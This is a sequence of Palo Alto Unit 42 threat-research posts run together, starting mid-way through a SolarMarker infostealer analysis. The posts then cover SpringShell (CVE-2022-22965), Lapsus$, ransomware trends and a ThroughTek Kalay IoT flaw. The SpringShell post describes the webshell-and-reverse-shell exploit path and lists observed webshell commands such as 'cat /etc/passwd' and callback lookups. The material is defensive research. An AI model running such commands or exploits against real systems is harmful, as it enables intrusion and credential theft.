In the first execution of the malware on the victim machine, the encrypted payload (backdoor) will load into the first stage of the malware (setup.exe) because, as we mentioned earlier, setup.exe opened a new thread in which it ran the PowerShell script.
After the reboot, the encrypted payload will load directly into the PowerShell process due to the lnk file from the startup folder.
Encrypted Payload
We’ve so far mentioned the encrypted payload many times. What exactly is it?
We can make a small change to the PowerShell script of the attacker to save the assembly to disk rather than loading it directly into memory. In addition, this can help us understand the functionality of this version of SolarMarker.
We got a .NET-compiled Dynamic-Link Library (.DLL) that contains the core code of the SolarMarker backdoor with an embedded C2 client.
When looking at the decompiled code and the names of the classes and functions, we can see that they don't look right. Instead, they look like they are obfuscated.
Figure 7. Obfuscated names of the classes and functions/obfuscated code doesn't make much sense.
After quickly running de4dot, we can see that it unpacked and deobfuscated:
Figure 8. Deobfuscated strings in functions.
SolarMarker Backdoor
The SolarMarker backdoor is a .NET C2 client that will communicate with the C2 server within the encrypted channel.
The protocol communication is HTTP – usually POST requests.
The data is encrypted using RSA encryption with Advanced Encryption Standard (AES) symmetric encryption.
Figure 9. Encrypted network communication with the C2 server.
The client performs internal reconnaissance, collects basic information about the victim machine and exfiltrates it over an existing C2 channel.
Figure 10. Exfiltrated data before encryption.
The client sends a signal to the attacker’s server to check for instructions or additional payloads at regular intervals (60 seconds).
The attacker can run a PowerShell script and transfer files to the victim machine.
The next stage is again a PowerShell encoded script that deploys the SolarMarker final payload (.NET Infostealer) and loads it into memory (this typically occurs about a few hours after the initial infection of the victim machine).
The attackers' servers and version names vary between the backdoor and infostealer modules.
SolarMarker Infostealer
In terms of its structure, the infostealer module looks very similar to the backdoor module we introduced earlier but has extended capabilities.
The SolarMarker infostealer module acquires login data, cookies and web data (auto-fill) from web browsers by reading files specific to the target browser. SolarMarker uses the API function CryptUnprotectData (DPAPI) to decrypt the credentials.
Figure 11. Data collection for exfiltration example.Figure 12. Collected data is exfiltrated as XML format.Figure 13. Data leakage exfiltration through HTTP encrypted channel.
Key Changes Observed in the New Version of SolarMarker
Let's summarize the main changes seen in the new version of SolarMarker:
Switches back to executables as the dropper instead of MSI.
Increases the dropper files to larger volumes.
The dropper files are always signed by a legitimate company.
Modified the PowerShell loader script.
In the first execution of the malware on the victim machine, the backdoor will load into the dropper process and not into the PowerShell process as in previous versions.
Conclusion
This blog post documents recent changes in SolarMarker behavior patterns. These updates appear to upgrade evasion abilities in an attempt to stay under the radar and demonstrate that SolarMarker continues to evolve.
In recent years, the security industry has come to realize the importance of behavior-based detectors to reduce the dwell time of threats inside their network.
Palo Alto WildFire Customers are protected from the SolarMarker malware.
Palo Alto Customers using Cortex XDR Prevent or Pro are protected from such campaigns in different layers, including over 30 Behavioral Threat Protection, BIOC, and Analytics BIOCs rules that identify the tactics and techniques that SolarMarker uses at different stages of its execution.
Most rules are not customized for SolarMarker and are based on unusual, rare behaviors – and therefore provide protection against many additional malware families and campaigns that use the same methods. On top of that, the Local Analysis Engine and WildFire integration provide additional layers of protection to Cortex customers.
Name:Zimmi Consulting Inc Serial Number: 06 FA 27 A1 21 CC 82 23 0C 30 13 EE 63 4B 6C 62 Status: Trust for this certificate or one of the certificates in the certificate chain has been revoked. Valid From:12:00 AM 02/18/2022 Valid To:11:59 PM 02/13/2023 Thumbprint:BA256F3716A5613B2DDA5F2DBD36ABC9AC321583Name:Divertida Creative Limited Serial Number: 08 83 DB 13 70 21 B5 1F 3A 2A 08 A7 6A 4B C0 66 Status: Trust for this certificate or one of the certificates in the certificate chain has been revoked. Issuer:DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1 Valid From:12:00 AM 07/28/2021 Valid To:11:59 PM 07/27/2022 Thumbprint:C049731B453AB96F0D81D02392C9FC57257E647D
Recently, two vulnerabilities were announced within the Spring Framework, an open-source framework for building enterprise Java applications. On March 29, 2022, the Spring Cloud Expression Resource Access Vulnerability tracked in CVE-2022-22963 was patched with the release of Spring Cloud Function 3.1.7 and 3.2.3. Two days later on March 31, 2022, Spring released version 5.3.18 and 5.2.20 of Spring Framework to patch another more severe vulnerability tracked in CVE-2022-22965. The CVE-2022-22965 vulnerability allows an attacker unauthenticated remote code execution (RCE), which Unit 42 has observed being exploited in the wild. The exploitation of this vulnerability could result in a webshell being installed onto the compromised server that allows further command execution.
Because the Spring Framework is widely used for web system development and the severity of the vulnerability is critical (CVSS score of 9.8), CVE-2022-22965 is given the name SpringShell (and/or Spring4Shell) by the infosec community. To understand the impact of this vulnerability, we analyzed all the available information and located the issue in the source code.
On April 8, we updated this blog to include statistics on SpringShell exploitation attempts that we identified by analyzing hits on the Spring Core Remote Code Execution Vulnerability threat prevention signature for the Palo Alto Networks Next-Generation Firewall, as well as alerts triggered in Cortex XDR. We also added a section on indicators.
Palo Alto Networks customers receive protections against CVE-2022-22965 and CVE-2022-22963 via products and services including Cortex XDR Prevent and Pro, a Threat Prevention subscription for the Next-Generation Firewall, and Prisma Cloud Compute.
Vulnerability Known As
SpringShell, Spring4Shell
CVEs Discussed
CVE-2022-22965, CVE-2022-22963, CVE-2010-1622
Vulnerability Type
Remote code execution
Affected Software and Versions
Existing proofs of concept (PoCs) for exploitation work under the following conditions:
JDK 9 or higher
Apache Tomcat as the Servlet container
Packaged as a traditional WAR (in contrast to a Spring Boot executable jar)
spring-webmvc or spring-webflux dependency
Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions
Any Java application using Spring Beans packet (spring-beans-*.jar) and using Spring parameters binding could be affected by this vulnerability.
Background on the Spring Framework
The Spring Framework is an open-source application framework and inversion of the control container for the Java platform. It is widely used in the industry by various programs and systems due to its powerful features and ease of use. Some well-known products such as Spring Boot and Spring Cloud are developed with the Spring Framework.
The Spring Core (spring-core) is the core of the framework that provides powerful features such as inversion of control and dependency injection. It contains the core, beans, context and Spring Expression Language (SpEL) modules.
Root Cause Analysis for CVE-2022-22965
The vulnerability is caused by the getCachedIntrospectionResults method of the Spring framework wrongly exposing the class object when binding the parameters.
The default Spring data binding mechanism allows developers to bind HTTP request details to application-specific objects. For example, there is a simple classical application scenario in which the developer creates a trade object to capture request parameters as shown in Figure 1.
Figure 1. Example trade object.
Then the developer creates a controller to use the object trade as shown in Figure 2.
Figure 2. Example controller using the trade object.
After that, the developer usually creates a request builder for the trade controller, which allows the web user to access the trade object remotely as shown in Figure 3.
Figure 3. Accessing a normal object.
When web users access trade object properties, the binding process (bindRequestParameters) in the Spring framework implementation will call the getCachedIntrospectionResults method to get and set the object property in the cache. However, the return object of the getCachedIntrospectionResults method includes a class object. This means that web users can get a class object remotely by simply submitting a URL as shown in Figure 4.
Figure 4. Accessing the class object.
Exposing the class object to web users is very dangerous and can lead to RCE in many ways. The class loader is often used by exploiting payloads to load some sensitive classes dynamically for object modification and code execution.
Background on Exploitation of the Class Loader
One easy way to get RCE is using the exposed class loader to modify the Tomcat log configuration and remotely upload a JSP web shell after changing the Tomcat log configuration. One example of changing the Tomcat log configuration by simply submitting a URL is shown in Figure 5. This is the exploit method used in the public PoC for the SpringShell vulnerability.
Figure 5. Modifying the Tomcat log configuration.
Early in 2010, CVE-2010-1622 was assigned to a remote code execution vulnerability in the Spring Framework. This vulnerability was due to the lack of proper check on the provided PropertyDescriptor in CachedIntrospectionResults() so that class.classLoader is allowed to be utilized to modify the search path of the system's class loader and cause the program to invoke remote Java code. For this vulnerability, the class loader plays a vital role in the exploitation.
In the Spring Framework version 2.5.6.SEC02, the vulnerability was fixed. However, while the original way of obtaining the class loader and exploiting it no longer works, a new feature of JDK was introduced in version 9, providing another way to obtain the class loader and making the exploit possible again.
The code snippet seen in Figure 6 shows the fix to CVE-2010-1622. The fix is to use a block list to exclude two methods: Class.getClassLoader() and getProtectionDomain() as highlighted in Figure 6. But using a block list runs the risk of being bypassed by the cases not on the list. And the Java 9 Platform Module System (JPMS) provides a way to bypass this block list.
Figure 6. Fix for CVE-2010-1622.
Establishing a Reverse Shell Connection to a Remote Server on the Compromised Server
The newly added module property makes it possible to modify the logging configuration so that a JSP webshell can be written into the web host folder via the logging function as shown in Figure 7.
Figure 7. getModule in JDK 9+
Figure 8 shows the payload drops a password-protected webshell in the Tomcat ROOT directory called shell7.jsp.
Figure 8. Write a JSP webshell into the web directory.
Attackers can then invoke any command through the JSP webshell. Figure 9 shows the example of executing Netcat to establish a reverse shell to a remote server on the compromised server.
Figure 9. Establish a reverse shell connection with Netcat.
SpringShell Exploit
Exploit code for this remote code execution vulnerability has been made publicly available. Unit 42 first observed scanning traffic early on March 30, 2022 with HTTP requests to servers that included the test strings within the URL. Figure 10 shows an example of the early scanning activity.
Figure 10. Scanning traffic from PAN-DB cloud logs.
While testing our Threat Prevention signatures, we observed additional scanning activity that included the exploit code within the data section of the HTTP POST request, as seen in Figure 11.
Figure 11. Scanning traffic from Threat Prevention signature triggers.
Once we deployed the Threat Prevention signatures, we analyzed the packet captures associated with our "Spring Core Remote Code Execution Vulnerability" signature and found that a majority of the activity was likely generated by variations of the publicly available PoC tools. Our analysis shows that the following filenames would store the webshell contents on the server in the event of successful exploitation:
The webshell contents written to these files are very similar to the code included in the publicly available PoC as well. There are two variants of the webshell. One was included in the PoC and uses the pwd parameter for authentication (password is always j) and the cmd parameter for the command to execute. The second variant does not use a parameter for authentication and uses id for the command to execute. Table 1 shows the parameters that the webshell saved to the server would use for authentication and command and how many times we saw them.
URL Parameters
Authentication
Command
Count
&id=<command>
id
337
&pwd=j&cmd=<command>
pwd
cmd
219
Table 1. Parameters used by webshells seen in hits on "Spring Core Remote Code Execution Vulnerability" signature.
We searched our telemetry for activity to webshells using the file names associated with the SpringShell activity, with the noted exception of shell.jsp, which is far too general. We have seen the unique commands listed below submitted to webshells. Of these, only the two commands involving /etc/passwd would possibly suggest malicious intent for exploitation – the rest of the commands suggest general scanning activity.
ls nslookup%20[redacted].test6.ggdd[.]co[.]uk nslookup+[redacted].test6.ggdd[.]co[.]uk ping%20[redacted].test6.ggdd[.]co[.]uk ping+[redacted].test6.ggdd[.]co[.]uk whoami cat%20/etc/passwd cat+/etc/passwd id ifconfig ipconfig ping%20[redacted].burpcollaborator[.]net
Observed in the Wild
Our Spring Core Remote Code Execution Vulnerability signature was released in the early hours of March 31. On April 7, we collected the seven days’ worth of activity since the signature release and found that the signature had triggered 43,092 times. Figure 12 shows the steady increase of total hits from March 31 until April 3, a fairly significant decrease on April 4, followed by an incline in activity on April 5 and 6. At this time, we have yet to confirm any successful exploitation attempts that led to a webshell installed onto the server outside of testing activity using purposefully vulnerable applications.
Figure 12. Chart showing hits per day on the Spring Core Remote Code Execution Vulnerability signature.
We observed a large amount of unique IP addresses during our analysis – with 2,056 addresses triggering the Spring Core Remote Code Execution Vulnerability signature. Table 2 shows the top 15 IP addresses seen as the source that triggered our signature, which accounts for just over 50% of all of the activity we observed.
Count
IP
4064
172.16.0.0/12
2664
10.0.0.0/8
1680
178.79.148[.]229
1504
82.165.137[.]177
1351
172.104.159[.]48
1336
109.74.204[.]123
1188
5.253.204[.]37
1092
185.245.85[.]232
1090
185.196.3[.]23
1080
172.104.140[.]107
1080
207.246.101[.]107
1004
45.33.101[.]246
963
45.33.65[.]249
911
195.246.120[.]148
865
176.125.229[.]145
Table 2. Top 15 source IPs triggering the Spring Core Remote Code Execution Vulnerability signature.
We were able to analyze 31,953 packet captures that triggered the Spring Core Remote Code Execution Vulnerability signature to determine the webshell filenames and the webshell contents that would be saved to the server in the event of successful exploitation. In many cases, the webshell file names had .jsp extensions, which would allow for a successful exploitation to install a working webshell. However, in many cases the filename had an extension that would not support a webshell, such as .js and .txt, which we believe was used just to mark the presence of a successful file upload as part of vulnerable server discovery efforts. At the time of writing, we have observed 95 unique webshell filenames, which we have included in the indicators section.
A majority of the activity used the tomcarwar.jsp filename that was used in the initial PoC script, which accounted for over 57% of the filenames observed. In fact, the top three filenames – tomcarwar.jsp, checkexploit.jsp and javatestfila.jsp – account for over 84% of the activity with known webshell filenames. The pie chart in Figure 13 shows a high-level breakdown of the most common filenames.
Figure 13. Pie chart showing the most common webshell file names observed.
A majority of the packets we analyzed showed the webshell contents did not differ far from the webshell seen in the original proof-of-concept script, which can be seen in Figure 14. Another very common webshell seen within our telemetry is the exact same with different HTTP parameters and values used by the webshell, as seen in Figure 15.
Figure 14. Webshell pattern seen in exploit attempts from original PoC script.Figure 15. Webshell pattern seen in exploit attempts with slight modifications to original PoC script.
We also observed a significant amount of exploit attempts using content that again was a modification of the initial webshell in the proof-of-concept. Figure 16 shows the contents that we observed in the wild, which should not be considered a webshell as it does nothing more than display SPRING_CORE_RCE. The lack of webshell functionality suggests that this is likely uploaded by scanners attempting to discover servers vulnerable to SpringShell.
Figure 16. Pattern seen in exploit attempts used for vulnerable server discovery.
More recently, we have seen an uptick in webshell content as seen in Figure 17, which is related to another proof-of-concept script created by K3rwin. This particular webshell will load a base64 encoded class that will contain the functionality desired by the actor. This particular webshell is based on AntSword’s shell.jsp, which was modified to use a parameter of k3rwin instead of ant to load the class.
Figure 17. Webshell pattern seen in exploit attempts from K3rwin’s PoC script.
The only malicious activity we have seen in our telemetry related to SpringShell involves HTTP requests to URLs containing the tomcatwar.jsp filename associated with the SpringShell proof-of-concept script. The activity involved parameters issued to the webshell that would run a command to download and execute a script from a remote server as seen in the following:
Upon further analysis, the t.sh script hosted on this remote server is related to the Mirai botnet. The requests above were sent from the IP address 194.31.98[.]186, which itself has hosted payloads associated with Mirai as well. Inbound attempts to exploit the SpringShell vulnerability from 194.31.98[.]186 attempted to install the webshell from the original proof-of-concept seen in Figure 14. Our signatures blocked the initial attempt to exploit the vulnerability so we cannot confirm if Mirai’s attempts to exploit SpringShell have been successful. Both Netlab 360 and Trend Micro also observed Mirai activity related to the SpringShell vulnerability.
In addition to our threat prevention signatures, we analyzed the alerts triggered in Cortex XDR and found 116 events between April 4 and April 8. A majority of these alerts are triggered by testing of the proof-of-concept tools previously mentioned above. We also observed several alerts involving a docker container named spring4shell, which had a /helloworld directory and had a listening port tcp/8080. We believe these docker containers are also part of internal testing efforts using publicly available docker containers, such as Spring4Shell-POC. The signature triggered on the creation of the webshell files, of which we observed the following file written:
SpringShell is officially assigned CVE-2022-22965, and the patch was released on March 31, 2022. Since exploitation is straightforward and all the relevant technical details have already gone viral on the internet, it’s possible that SpringShell will become fully weaponized and abused on a larger scale. Developers and users who have projects or products based on JDK9+ and the Spring Framework (or its derivatives) are strongly urged to patch as soon as possible.
While CVE-2022-22963 is a different vulnerability in Spring Cloud Function (not technically part of SpringShell), a Threat Prevention signature is also available to ensure coverage at the perimeter. Unit 42 researchers are proactively monitoring info related to other recently disclosed Spring vulnerabilities and will proceed to provide coverage as soon as more info has become available.
Unit 42 is actively monitoring malicious traffic through our devices and cloud solutions.
The Palo Alto Networks Product Security Assurance team is evaluating CVE-2022-22963 and CVE-2022-22965 as relates to Palo Alto Networks products and currently assigns this a severity of none.
Palo Alto Networks Next-Generation Firewall with a Threat Prevention subscription can block the attack traffic related to this vulnerability.
CVE-2022-22965 Coverage: Threat IDs 92393 and 92394 (Application and Threat content update 8551).
CVE-2022-22963 Coverage: Threat ID 92389 (Application and Threat content update 8551).
Command and control traffic generated by a webshell that is part of SpringShell vulnerability exploitation: Threat ID 83239 (Application and Threat content update 8551).
Palo Alto Networks Prisma Cloud can detect the presence of both CVE-2022-22965 and CVE-2022-22963 across all Compute environments.
Palo Alto Networks Cortex XDR Prevent and Pro customers running agent version 7.4 and above with content version 450-87751 on Linux devices are protected from CVE-2022-22963 using the Java Deserialization module; customers running agent version 7.7 and content 480 and above are protected from CVE-2022-22963 and CVE-2022-22965 for both Windows and Linux using the Java Deserialization module; other OSes and exploits receive protections from post-exploitation activities using Behavioral Threat Protection, Password Theft Prevention, Anti Ransomware and other Anti Exploitation modules. Cortex XDR Pro customers also have visibility into post-exploitation activities and can specifically track the “Process execution with a suspicious command line indicative of the Spring4Shell exploit” and “Suspicious HTTP Request to a vulnerable Java class” Analytics BIOCs. Furthermore, customers can create a BIOC from an XQL query looking for the dropped webshell IoCs to detect exploitation attempts in their environments.
Palo Alto Networks Cortex XSOAR customers can leverage the "Spring Core and Cloud Function SpEL RCEs" pack to automatically detect and mitigate the vulnerabilities. Read more on the XSOAR marketplace.
The Lapsus$ Group threat actor has grown in just a few months from launching a handful of destructive attacks to stealing and publishing source code of multiple top-tier technology companies.
Though sometimes called a ransomware group in reports, Lapsus$ is notable for not deploying ransomware in extortion attempts. In today’s environment, threat actors favor using ransomware to encrypt data and systems and often extort victims for significant amounts of cryptocurrency in exchange for decryption keys, sometimes turning up the pressure with the threat of publishing stolen data. Lapsus$, however, is unusual in its approach – for this group, notoriety most often appears to be the goal, rather than financial gain.
Unit 42 has helped organizations respond to multiple Lapsus$ attacks. The Lapsus$ Group doesn’t employ malware in breached victim environments, doesn’t encrypt data and in most cases, doesn’t actually employ extortion. They focus on using a combination of stolen credentials and social engineering to gain access to victims. We’ve also seen them solicit employees on Telegram for their login credentials at specific companies in industries including: telecom, software, gaming, hosting providers and call centers.
However, the group’s attacks and leaking of stolen data even without extortion can be very damaging. In addition, we’ve seen destructive Lapsus$ attacks where the actors got access to an organization’s cloud environment, wiped systems and destroyed over a thousand virtual machines.
Although there are no public indicators of compromise (IoCs), and no tactics, techniques and procedures (TTPs) that are unique to Lapsus$ Group, here we will summarize what is known of this threat actor to better enable defenders in understanding and mitigating this threat.
We first observed the “Lapsus$” handle mid-2021, but the first attack activity quoting that handle was in August 2021, with some U.K. mobile phone customers reporting receiving threatening texts (Figure 1).
Figure 1. Early Lapsus$ activity.
In December 2021, the Ministry of Health of Brazil fell victim to an attack claimed by Lapsus$ (Figure 2). This included the soon-to-be de rigueur data exfiltration and deletion technique, and also redirection of some DNS records. This was followed in short order by attacks on South American telecoms providers Claro and Embratel, Brazilian state-owned postal service “Correios,” and Portuguese media giant Impresa. This initial focus has led to speculation that Lapsus$ Group may be Brazilian, although we understand the choice of targets to have been influenced by extended team members rather than the team leadership.
Figure 2. Ministry of Health of Brazil defacement.
Evolution of Targeted Organizations
Apart from Argentinian eCommerce provider Mercado Libre / Mercado Pago, subsequent victimology has departed South America and pivoted to focus on the high-tech sector.
Recent public victims have included:
Nvidia
Samsung
Ubisoft
Vodafone
Microsoft
LG
Okta
It should be understood that in addition there are likely any number of other victims, targeted by attacks not known in the public sphere. It is likely that some victims are not the intended end-target, but are rather breached in order to gain access to their customers, or for example, to help bypass multi-factor authentication (MFA). To this end, we are aware of this actor’s involvement in vishing, SIM-swapping and soliciting third parties at providers for insider access. For example, in the “proof” of the Okta breach posted on the Lapsus$ Group’s Telegram channel, the actor states: “… our focus was ONLY on okta customers” (Figure 3).
Figure 3. Okta breach evidence posted on the Lapsus$ Group’s Telegram channel.
Several of the Lapsus$ Group’s attacks involved the theft and publication of source code. In the case of Nvidia, it was observed as a non-financial extortion attempt. In other cases, for example that of Microsoft, there was simply publication without extortion, again supporting the understanding that the primary motivation of this actor is notoriety rather than financial gain.
However, as notoriety and success cause this group to grow, we should expect to see diversity of membership reflected in a diversity of victimology, TTPs and action-on-objective motivations.
Mitigation Actions
Owing to the diversity of techniques used, and the lack of use of malware, there is no single defense against or detection of Lapsus$ attacks specifically.
A hallmark of this group is the diversity of techniques used both for initial access and action-on-objective. Credentials are harvested from dumps, purchased or spear-phished. When employed, various techniques to bypass MFA are observed – from social engineering, through SIM-swapping and even compromising MFA/telecoms providers.
Zero Trust network architecture and strong security hygiene are the best defenses against this type of threat actor. If Lapsus$ has purchased credentials for a network, they can effectively operate as an insider threat, taking advantage of the same privileges the employee has inside the network.
Focus on general information security best practices: MFA, access controls and network segmentation. Ensure your organization has the ability to detect anomalous activity, including activity that involves trusted third parties in your environments, and protect against non-technical techniques such as vishing and SIM-swapping. Patching of internal systems that might support lateral movement and privilege escalation should be prioritized, as well as against known public exploits that these actors might employ.
Although the commodity malware RedLine Stealer has been implicated for credential harvesting in some attacks, it’s unclear if this is first- or third-party, and it cannot be used as a definitive indicator of Lapsus$-specific activity.
Conclusion
Lapsus$ Group has made headlines recently for high-profile attacks, with an apparent goal of gaining notoriety. They claim in some cases to have targeted organizations with the specific goal of gaining access to customers.
While referred to as a ransomware group in many reports, the Lapsus$ Group is more accurately called an attack group. Most notably, their focus to date does not appear to have been on extortion and financial gain. Even without extortion, the group’s attacks and leaks of stolen information can be damaging.
Because the group uses a diversity of techniques for attacks, no single technique can protect against Lapsus$ or detect its attacks. Because of this, we recommend that organizations focus on observing general information security best practices as described in the Mitigation Actions section above.
Unit 42, together with researchers at Unit 221b, identified the primary actor behind the Lapsus$ Group moniker in 2021, and have been assisting law enforcement in their efforts to prosecute this group.
If you think you may be subject to an active attack or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200.
Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.
A series of high-profile ransomware attacks held the world’s attention in 2021, keeping ransomware at the top of threat lists and priorities for cybersecurity teams everywhere. To put all this activity into context and shed some light on the scope and direction of the ransomware landscape, our threat researchers and security consultants created the 2022 Unit 42 Ransomware Threat Report. This report provides the latest insights on established and emerging ransomware groups, payment trends and new techniques that ransomware groups are using to increase their profits, including ransomware-as-a-service and double and multi-extortion capabilities. It also provides some recommendations on security best practices that can help you prevent, detect, respond to and recover from ransomware so that you can minimize the impact and resume business operations.
Key Findings From the 2022 Unit 42 Ransomware Threat Report
The report pulled data from actual incident response cases, as well as dark web forums and the leak sites of ransomware gangs. The following are just a few of the key takeaways from the analysis:
Ransoms Keep Going Up
Ransoms – both demands and payments – continue to go up. Among the incident response cases reviewed in 2021, which were predominantly in the U.S., the average ransom demanded was approximately $2.2 million. This represents about a 144% increase from the average demand of $900,000 from the cases analyzed in 2020. The average payment from 2021 cases climbed to $541,010, which was 78% higher than the previous year. While the raw numbers have gone up, it is important to note the payouts tend to be significantly less than initial ransom demands – we calculated actual payments were, on average, 42.42% of the initial ransom amount.
Figure 1. Average ransom demands compared to average ransom payments in 2020 and 2021, according to Unit 42 incident response data.
Victim Naming and Shaming Is Fast Becoming Normal
Multi-extortion techniques where attackers not only encrypt the files of an organization, but also name and shame their victims and/or threaten to launch additional attacks (e.g., distributed denial of service DDoS) are increasingly part and parcel of ransomware tactics. In 2021, the names and proof of compromise for 2,566 victims were publicly posted on ransomware leak sites, marking an 85% increase compared to 2020. Ransomware gangs use these tactics to pressure victims to pay more, faster, or both – though the efficacy of the approach depends in part on how sensitive the data they’ve stolen truly is. In 2021, 35 new ransomware groups emerged using double-extortion techniques, which means they demanded a ransom and then informed victims they would publicly expose the data they had stolen if the ransom was not paid.
Figure 2. Ransomware families that emerged using the double extortion technique in 2020 versus 2021 based on analysis of ransomware group leak sites.
Ransomware-as-a-Service Continues to Lower the Barrier to Entry
“Entrepreneurial” threat actors are capitalizing on the growing number of cybercriminals who want a piece of the ransomware pie. These criminal entrepreneurs offer ransomware as a service (RaaS) to other criminals, establishing agreements that set the terms for providing actual ransomware to these affiliates, in exchange for a monthly fee or a percentage of ransoms paid. We have seen at least 56 active RaaS groups, some of whom have been operating since 2020, all of whom are lowering the barrier to entry and expanding the reach and negative impact of ransomware.
Recommendations to Improve Ransomware Preparedness
The ideal time to start preparing for a ransomware attack is before it happens. Below are recommendations on best practices organizations can use to reduce the likelihood of a ransomware attack or minimize impact if a successful attack does occur.
Prepare Your Cloud Environments
Given the amount of valuable data in the cloud, it is only a matter of time before we see ransomware groups target cloud environments. However, to launch ransomware attacks in cloud environments, threat actors will likely use new tactics, techniques and procedures (TTPs). This means organizations have a chance to prepare and bolster their defenses – the time is now for organizations to implement identity and access management (IAM) best practices to secure their cloud APIs, as well as harden their cloud workloads from the image down to improve their resilience to ransomware.
Implement a Comprehensive Strategy
While maintaining good general cyber hygiene and implementing security awareness training are foundational starting points, we suggest you also follow these ten steps to reduce the risk and impact of a ransomware attack on your organization:
Stay educated on the evolving threat landscape to ensure you can spot the latest threats and implement the latest safeguards to protect your organization.
Analyze the business impact of losing critical data to understand what’s really at risk, including any potential upstream and downstream consequences, to help you prioritize efforts.
Assess internal and external readiness – including any third parties, partners or supply chain elements that could introduce risks – to help you develop a comprehensive mitigation roadmap.
Review and test your incident response plan with tabletop exercises and purple team testing simulations to work out kinks and bolster your ability to recover when it matters.
Implement a Zero Trust strategy to eliminate implicit trust and continuously validate every stage of every digital interaction to make it harder for attackers to operate.
Identify your exposed assets – anything on the public internet – so you can take steps to reduce your attack surface.
Prevent known and unknown threats by continuously identifying and blocking exploits, malware, and command-and-control traffic to take away any low hanging fruit from attackers.
Automate when possible, implementing tools (e.g., security orchestration, automation and response, also known as SOAR) that support the automated remediation of events to speed your ability to respond to and recover from incidents.
Secure cloud workloads by leveraging best practices and implementing security measures throughout the development lifecycle.
Reduce response time with retainers – in other words, make incident response experts an extension of your team – to help you create a predictable incident response budget and take faster action to minimize the impact of an attack.
If you think you may be subject to an active ransomware attack or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200.
A large number of IP cameras and surveillance systems used in enterprise networks were recently discovered to be vulnerable to remote code execution and information leakage due to CVE-2021-28372, a vulnerability in the built-in ThroughTek Kalay P2P software development kit that is used by many of these devices. Many users of IP cameras and surveillance systems are unaware of the built-in software and TCP/IP stacks in their devices, and can overlook related vulnerabilities as a result.
Here, we cover how this specific vulnerability affects certain IoT devices.
In addition, this example highlights a big-picture problem for IoT devices. Vulnerabilities in built-in third-party technologies, many of which are not continuously maintained or are using legacy software, can leave IoT devices vulnerable in turn. This necessitates having proper visibility into devices in an enterprise network, as well as proper risk and vulnerability assessment.
Palo Alto Networks customers receive protections against the vulnerabilities discussed here from the IoT Security platform.
Cybersecurity researchers identified a vulnerability in August 2021 that affects devices using the ThroughTek Kalay P2P Software Development Kit (SDK). Attackers can exploit this vulnerability to impersonate a device running ThoughTek Kalay SDK by using a 20-bit unique identifier. This would allow a malicious attacker to hijack a victim’s connection, extract credentials from the traffic and gain unauthorized access to sensitive information on it. The ThroughTek Kalay SDK is built into various IoT devices, specifically IP cameras, video recorders and baby monitors. It is also used in various mobile and desktop applications on end-user devices.
A majority of IoT devices using the vulnerable SDK are associated with real-time video and audio feeds. A successful attack on a device can leak private video or audio and result in the device being spoofed or its certificate being hijacked. CVE-2021-28372 has been assigned to this vulnerability with a CVSS score of 9.6. For more details, read the ICS-Cert advisory.
What Is ThroughTek Kalay?
ThroughTek Kalay provides an end-to-end solutions platform for various IoT devices. The platform can be leveraged by various IoT vendors, OEM and chip manufacturers to create an efficient cloud service that can support various applications specific to the device type and industry. According to the product website, the ThroughTek Kalay 2.0 platform is specifically used for video surveillance devices and smart home products such as IP cameras, CCTV/NVR/DVR, low-power cameras, visible doorbells and security light cameras. It is also used for smart robots, routers, storage/NAS devices and household appliances. The ThroughTek Kalay client base ranges from consumer brand manufacturers to hardware manufacturers.
The ThroughTek Kalay platform uses P2P technology to create a decentralized architecture to enable IoT cloud services specifically suited for smart homes. According to ThroughTek Kalay, their SDK is in use on 86 million online devices and makes over 1.1 billion monthly connections to their cloud servers.
Who Does Your IoT Device Talk to?
The ThroughTek Kalay platform provides P2P connection functionality and allows P2P connections to the IP camera behind the Network Address Translation (NAT) table. The P2P connection is used for communication between IP cameras, sharing of APIs between IP cameras and servers and to prevent having a single point of failure by making it possible for devices to connect to multiple servers.
Many vendors, often IP camera manufacturers, produce devices that use ThroughTek Kalay’s platform. By reviewing crowdsourced data from organizations using Palo Alto Networks IoT Security, we found a number of popular IP camera vendors that use ThroughTek Kalay’s platform. However, since the Kalay platform establishes a P2P connection between devices, certain master servers are used to establish these connections. Whenever a device using ThroughTek’s services boots up, it sends call home messages to one of the many ThoughTek Kalay’s Internet of Things Cloud (IoTC) platforms using a random UDP port (between 10000 and 19999) to traverse the NAT.
The connections to these master servers can give an indication of which IoT devices are actively connecting to the ThroughTek service to establish a P2P connection. However, this does raise certain concerns. A consumer buying a product from a specific vendor does not necessarily expect or have any awareness of their traffic being sent to these types of international servers via a third party.
This is where CVE-2021-28372 comes in. For this example, we inspect traffic from IP cameras and surveillance systems built with the ThoughTek Kalay’s IoTC platform. When the device is booting up, the first function it calls is IOTC_Initialize. This makes a UDP request to one of the ThroughTek Kalay master servers: *.iotcplatform[.]com over random UDP ports in the range 10000 to 20000.
As the code snippet above shows, the initialization involves a random port generation, followed by connection to one of four different IP addresses. However, based on our research into crowdsourced data, we found there are more than 14 different IP addresses the IoT devices connect to in order to initiate the P2P connection.
Figure 1: Typical network connections made by an IP Camera (The counts used here are examples only).Investigation of traffic observed from IoT Security crowdsourced databases shows a number of IP cameras connected to the aforementioned servers to establish the initial P2P connection. Let us look at a specific example in more detail.
An IP camera produced and sold by a US manufacturer is set up in an enterprise network.
The device makes a connection to the API of the device manufacturer – which is an expected traffic destination.
device-api.ip-camera-vendor[.]com
In addition, the same device makes UDP connections to the third-party master servers to establish a P2P connection.
m4.iotcplatform[.]com
Investigating the underlying network traffic that makes the device vulnerable to CVE-2021-28372 highlights a bigger issue in IoT devices overall. A product bought from one specific vendor makes connections to the internet to third-party websites or international destinations – often without the consumer being aware of it.
IoT Supply Chain Increases Attack Surface of Devices
